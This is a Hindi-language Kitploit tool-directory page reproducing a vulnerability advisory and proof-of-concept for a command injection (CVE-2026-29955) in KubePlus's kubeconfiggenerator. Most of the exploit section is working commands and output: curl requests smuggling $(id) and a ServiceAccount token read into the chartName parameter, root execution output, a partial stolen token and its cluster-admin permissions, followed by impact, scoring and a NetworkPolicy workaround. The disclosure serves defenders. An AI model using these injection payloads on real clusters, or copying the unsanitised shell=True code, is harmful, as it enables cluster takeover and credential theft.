Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-29955 — CVE-2026-29955 के लिए प्रूफ-ऑफ-कॉन्सेप्ट, KubePlus kubeconfiggenerator में एक कमांड इंजेक्शन भेद्यता जो Kubernetes क्लस्टर में रिमोट कोड निष्पादन और ServiceAccount टोकन चोरी की अनुमति देती है। | Kitploit
उपकरण/GitHubGitHub/b0b0haha/cve-2026-29955
कंटेनर सुरक्षाभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगक्लाउड सुरक्षा
GitHubb0b0haha/cve-2026-29955

CVE-2026-29955

CVE-2026-29955 के लिए प्रूफ-ऑफ-कॉन्सेप्ट, KubePlus kubeconfiggenerator में एक कमांड इंजेक्शन भेद्यता जो Kubernetes क्लस्टर में रिमोट कोड निष्पादन और ServiceAccount टोकन चोरी की अनुमति देती है।

रिपॉजिटरी देखें
5 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

KubePlus KubeconfigGenerator कमांड इंजेक्शन भेद्यता

यह भेद्यता KubePlus के kubeconfiggenerator घटक में मौजूद है, जो HTTP इंटरफ़ेस तक पहुंच रखने वाले हमलावरों को chartName पैरामीटर के माध्यम से शेल कमांड इंजेक्ट करने, कंटेनर के भीतर रूट के रूप में मनमाना कोड निष्पादित करने, और cluster-admin विशेषाधिकारों वाले ServiceAccount टोकन चुराने की अनुमति देता है। अनुशंसित CWE वर्गीकरण: CWE-78 (OS कमांड इंजेक्शन)।

सारांश

KubePlus kubeconfiggenerator घटक में /registercrd एंडपॉइंट कमांड इंजेक्शन के लिए असुरक्षित है। घटक शेल कमांड निष्पादित करने के लिए shell=True पैरामीटर के साथ subprocess.Popen() का उपयोग करता है, और उपयोगकर्ता द्वारा प्रदान किया गया chartName पैरामीटर बिना किसी सैनिटाइज़ेशन या सत्यापन के सीधे कमांड स्ट्रिंग में जोड़ दिया जाता है। एक हमलावर दुर्भावनापूर्ण chartName पैरामीटर मान बनाकर मनमाना शेल कमांड इंजेक्ट कर सकता है।

विवरण

मूल कारण

CRD पंजीकरण अनुरोधों को संसाधित करते समय, kubeconfiggenerator घटक Helm चार्ट डाउनलोड और निकालता है। download_and_untar_chart() फ़ंक्शन में, chartName पैरामीटर सीधे शेल कमांड में जोड़ दिया जाता है:

फ़ाइल: deploy/kubeconfiggenerator.py:60-69

root@kitploit:~
def run_command(cmd):
    print(cmd)
    cmdOut = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True).communicate()
    out = cmdOut[0].decode('utf-8')
    err = cmdOut[1].decode('utf-8')
    return out, err

फ़ाइल: deploy/kubeconfiggenerator.py:554

root@kitploit:~
wget = "wget -O /" + charttgz + " --no-check-certificate " + chartLoc
out, err = run_command(wget)

फ़ाइल: deploy/kubeconfiggenerator.py:562

root@kitploit:~
cmd = "rm -rf /" + chartName
out, err = run_command(cmd)

shell=True पैरामीटर के कारण, हमलावर मनमाना कमांड इंजेक्ट करने के लिए शेल कमांड प्रतिस्थापन सिंटैक्स $(command) का उपयोग कर सकते हैं।

हमला वेक्टर

दुर्भावनापूर्ण chartName पैरामीटर के साथ /registercrd एंडपॉइंट पर HTTP अनुरोध भेजकर, एक हमलावर kubeconfiggenerator कंटेनर के भीतर मनमाना कमांड निष्पादित कर सकता है। चूंकि कंटेनर रूट के रूप में चलता है और इसका ServiceAccount cluster-admin विशेषाधिकार रखता है, हमलावर यह कर सकता है:

  1. मनमाना सिस्टम कमांड निष्पादित करना
  2. कंटेनर के भीतर संवेदनशील फ़ाइलें पढ़ना
  3. ServiceAccount टोकन चुराना
  4. Kubernetes API तक पहुंचने के लिए चुराए गए टोकन का उपयोग करना

PoC

पर्यावरण सेटअप

1. Kind क्लस्टर बनाएं

root@kitploit:~
# Kind क्लस्टर कॉन्फ़िगरेशन बनाएं
cat > kind-config.yaml << 'EOF'
kind: Cluster
apiVersion: kind.x-k8s.io/v1alpha4
name: kubeplus-test
nodes:
  - role: control-plane
EOF

# क्लस्टर बनाएं
kind create cluster --config kind-config.yaml

# क्लस्टर सत्यापित करें
kubectl cluster-info
kubectl get nodes

अपेक्षित आउटपुट:

root@kitploit:~
Kubernetes control plane is running at https://127.0.0.1:xxxxx
CoreDNS is running at https://127.0.0.1:xxxxx/api/v1/namespaces/kube-system/services/kube-dns:dns/proxy

NAME                          STATUS   ROLES           AGE   VERSION
kubeplus-test-control-plane   Ready    control-plane   1m    v1.27.3

2. KubePlus इंस्टॉल करें

root@kitploit:~
# कार्यशील निर्देशिका बनाएं
mkdir -p /tmp/kubeplus-poc && cd /tmp/kubeplus-poc

# KubePlus प्लगइन्स डाउनलोड करें
wget https://github.com/cloud-ark/kubeplus/releases/download/kubeplus-kubectl-plugins-v4.1.4/kubeplus-kubectl-plugins-v4.1.4.tar.gz
tar -xzf kubeplus-kubectl-plugins-v4.1.4.tar.gz

# provider-kubeconfig स्क्रिप्ट डाउनलोड करें
wget https://raw.githubusercontent.com/cloud-ark/kubeplus/master/requirements.txt
wget https://raw.githubusercontent.com/cloud-ark/kubeplus/master/provider-kubeconfig.py

# Python पर्यावरण सेटअप करें
python3 -m venv venv
source venv/bin/activate
pip3 install -r requirements.txt
pip3 install PyYAML kubernetes

# API सर्वर पता प्राप्त करें
apiserver=$(kubectl config view --minify -o jsonpath='{.clusters[0].cluster.server}')

# प्रोवाइडर kubeconfig बनाएं
python3 provider-kubeconfig.py -s $apiserver create default

अपेक्षित आउटपुट:

root@kitploit:~
Provider kubeconfig created: kubeplus-saas-provider.json

3. Helm के माध्यम से KubePlus इंस्टॉल करें

root@kitploit:~
# KubePlus Helm चार्ट डाउनलोड करें
curl -sL "https://github.com/cloud-ark/operatorcharts/raw/master/kubeplus-chart-4.2.0.tgz" -o kubeplus-chart.tgz

# KubePlus इंस्टॉल करें
helm install kubeplus kubeplus-chart.tgz --kubeconfig=kubeplus-saas-provider.json -n default

# पॉड्स के तैयार होने की प्रतीक्षा करें
kubectl wait --for=condition=Ready pod -l app=kubeplus -n default --timeout=180s

# इंस्टॉलेशन सत्यापित करें
kubectl get pods -n default -l app=kubeplus

अपेक्षित आउटपुट:

root@kitploit:~
NAME                                   READY   STATUS    RESTARTS   AGE
kubeplus-deployment-57dbf6f8b9-xxxxx   5/5     Running   0          2m

4. पोर्ट फ़ॉरवर्डिंग सेटअप करें

root@kitploit:~
# पॉड नाम प्राप्त करें
export WEBHOOK_POD=$(kubectl get pods -n default -l app=kubeplus -o jsonpath='{.items[0].metadata.name}')

# पोर्ट फ़ॉरवर्डिंग सेटअप करें
kubectl port-forward svc/kubeconfighelper -n default 5005:91 &

# सेवा सुलभ है यह सत्यापित करें
curl -s http://localhost:5005/hello

अपेक्षित आउटपुट:

root@kitploit:~
hello world

शोषण चरण

चरण 1: कमांड इंजेक्शन निष्पादित करें (id कमांड)

दुर्भावनापूर्ण chartName पैरामीटर के साथ अनुरोध भेजें:

root@kitploit:~
curl -s 'http://localhost:5005/registercrd?kind=Test&version=v1&group=test.io&plural=tests&chartURL=https://example.com/test.tgz&chartName=$(id>/tmp/pwned.txt)'

चरण 2: कमांड निष्पादन सत्यापित करें

root@kitploit:~
kubectl exec -n default $WEBHOOK_POD -c kubeconfiggenerator -- cat /tmp/pwned.txt

वास्तविक सत्यापन आउटपुट:

root@kitploit:~
uid=0(root) gid=0(root) groups=0(root)

चरण 3: ServiceAccount टोकन चुराएं

root@kitploit:~
curl -s 'http://localhost:5005/registercrd?kind=Test2&version=v1&group=test2.io&plural=test2s&chartURL=https://example.com/test.tgz&chartName=$(cat%20/var/run/secrets/kubernetes.io/serviceaccount/token>/tmp/stolen-token.txt)'

चरण 4: चुराया गया टोकन निकालें

root@kitploit:~
kubectl exec -n default $WEBHOOK_POD -c kubeconfiggenerator -- cat /tmp/stolen-token.txt

वास्तविक सत्यापन आउटपुट:

root@kitploit:~
eyJhbGciOiJSUzI1NiIsImtpZCI6Iklua3NNSkdubUtOcnZycUZkMGlJTE5meV9jVk85WFQxZ2dBZjVtOFJ0VncifQ.eyJhdWQiOlsiaHR0cHM6Ly9rdWJlcm5ldGVzLmRlZmF1bHQuc3ZjLmNsdXN0ZXIubG9jYWwiXSwiZXhwIjoxODAxNDg5MjYyLCJpYXQiOjE3Njk5NTMyNjIsImlzcyI6Imh0dHBzOi8va3ViZXJuZXRlcy5kZWZhdWx0LnN2Yy5jbHVzdGVyLmxvY2FsIiwia3ViZXJuZXRlcy5pbyI6eyJuYW1lc3BhY2UiOiJkZWZhdWx0IiwicG9kIjp7Im5hbWUiOiJrdWJlcGx1cy1kZXBsb3ltZW50LTU3ZGJmNmY4YjktcHh2YzUiLCJ1aWQiOiI4ZjBmNDQ0NS1mZTQ0LTQxMjUtYjEwMi03YzQzZDkyMjEyMmYifSwic2VydmljZWFjY291bnQiOnsibmFtZSI6Imt1YmVwbHVzLXNhYXMtcHJvdmlkZXIiLCJ1aWQiOiJlZjljYjFmZi03NWI1LTRmZmMtYjdjMS01Yjc3NjhjNWFiYzQifSwid2FybmFmdGVyIjoxNzY5OTU2ODY5fSwibmJmIjoxNzY5OTUzMjYyLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6ZGVmYXVsdDprdWJlcGx1cy1zYWFzLXByb3ZpZGVyIn0...

चरण 5: टोकन अनुमतियाँ सत्यापित करें

root@kitploit:~
STOLEN_TOKEN=$(kubectl exec -n default $WEBHOOK_POD -c kubeconfiggenerator -- cat /tmp/stolen-token.txt)
kubectl auth can-i --list --token="$STOLEN_TOKEN"

वास्तविक सत्यापन आउटपुट:

root@kitploit:~
Resources                                       Non-Resource URLs   Resource Names   Verbs
*.*                                             []                  []               [*]
                                                [*]                 []               [*]
selfsubjectreviews.authentication.k8s.io        []                  []               [create]
selfsubjectaccessreviews.authorization.k8s.io   []                  []               [create]
selfsubjectrulesreviews.authorization.k8s.io    []                  []               [create]

सर्वर-साइड लॉग साक्ष्य

kubeconfiggenerator कंटेनर लॉग कमांड इंजेक्शन निष्पादित होने को दर्शाते हैं:

root@kitploit:~
[01/Feb/2026 13:49:32] Inside registercrd
kind:Test
version:v1
group:test.io
plural:tests
chartURL:https://example.com/test.tgz
download_and_untar_chart
wget command:wget -O /$(id>/tmp/pwned2.txt).tgz --no-check-certificate https://example.com/test.tgz
...
Deleting the previous chart folder:$(id>/tmp/pwned2.txt)
root@kitploit:~
[01/Feb/2026 13:49:56] Inside registercrd
kind:Test2
version:v1
group:test2.io
plural:test2s
chartURL:https://example.com/test.tgz
download_and_untar_chart
wget command:wget -O /$(cat /var/run/secrets/kubernetes.io/serviceaccount/token>/tmp/stolen-token.txt).tgz --no-check-certificate https://example.com/test.tgz
...
Deleting the previous chart folder:$(cat /var/run/secrets/kubernetes.io/serviceaccount/token>/tmp/stolen-token.txt)

प्रभाव

यह भेद्यता एक हमलावर को अनुमति देती है:

  1. रिमोट कोड निष्पादन: kubeconfiggenerator कंटेनर के भीतर रूट के रूप में मनमाना कमांड निष्पादित करना
  2. क्रेडेंशियल चोरी: cluster-admin विशेषाधिकारों (*.*) वाले ServiceAccount टोकन चुराना
  3. क्लस्टर अधिग्रहण: पॉड्स बनाना/हटाना, Secrets पढ़ना, RBAC कॉन्फ़िगरेशन संशोधित करना आदि सहित कोई भी Kubernetes API ऑपरेशन करने के लिए चुराए गए टोकन का उपयोग करना
  4. पार्श्व गति: क्लस्टर के भीतर किसी भी नेमस्पेस में संसाधनों तक पहुंचना

पूर्वापेक्षाएँ

  • हमलावर को kubeconfighelper सेवा HTTP इंटरफ़ेस (पोर्ट 5005) तक पहुंच की आवश्यकता है
  • सेवा डिफ़ॉल्ट रूप से क्लस्टर के भीतर सुलभ है

गंभीरता

CVSS v3.1 स्कोर: 8.8 (उच्च)

वेक्टर: AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

  • हमला वेक्टर (AV): नेटवर्क
  • हमला जटिलता (AC): निम्न
  • आवश्यक विशेषाधिकार (PR): निम्न (kubeconfighelper सेवा तक पहुंच की आवश्यकता है)
  • उपयोगकर्ता सहभागिता (UI): कोई नहीं
  • दायरा (S): अपरिवर्तित
  • गोपनीयता (C): उच्च (ServiceAccount टोकन चुरा सकता है)
  • अखंडता (I): उच्च (मनमाना कमांड निष्पादित कर सकता है)
  • उपलब्धता (A): उच्च (सेवा उपलब्धता को प्रभावित कर सकता है)

प्रभावित संस्करण

  • KubePlus v4.2.0 और पुराने संस्करण
  • कमांड निष्पादन के लिए shell=True का उपयोग करने वाले सभी संस्करण

पैच किए गए संस्करण

अभी तक कोई पैच किया गया संस्करण उपलब्ध नहीं है।

वर्कअराउंड

  1. नेटवर्क अलगाव: kubeconfighelper सेवा तक पहुंच प्रतिबंधित करने के लिए NetworkPolicy का उपयोग करें
  2. RBAC प्रतिबंध: kubeplus-saas-provider ServiceAccount के विशेषाधिकार कम करें
  3. निगरानी: kubeconfiggenerator कंटेनर में असामान्य कमांड निष्पादन की निगरानी करें
root@kitploit:~
# NetworkPolicy उदाहरण
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
  name: restrict-kubeconfighelper
  namespace: default
spec:
  podSelector:
    matchLabels:
      app: kubeplus
  policyTypes:
  - Ingress
  ingress:
  - from:
    - podSelector:
        matchLabels:
          trusted: "true"
    ports:
    - protocol: TCP
      port: 5005

संदर्भ

  • CWE-78: OS कमांड में उपयोग किए जाने वाले विशेष तत्वों का अनुचित न्यूट्रलाइज़ेशन ('OS कमांड इंजेक्शन')
  • OWASP कमांड इंजेक्शन: https://owasp.org/www-community/attacks/Command_Injection
  • Python subprocess सुरक्षा: https://docs.python.org/3/library/subprocess.html#security-considerations
  • Kubeplus: https://github.com/cloud-ark/kubeplus

क्रेडिट

@b0b0haha ([email protected]) @lixingquzhi ([email protected])

टूल डाउनलोड करें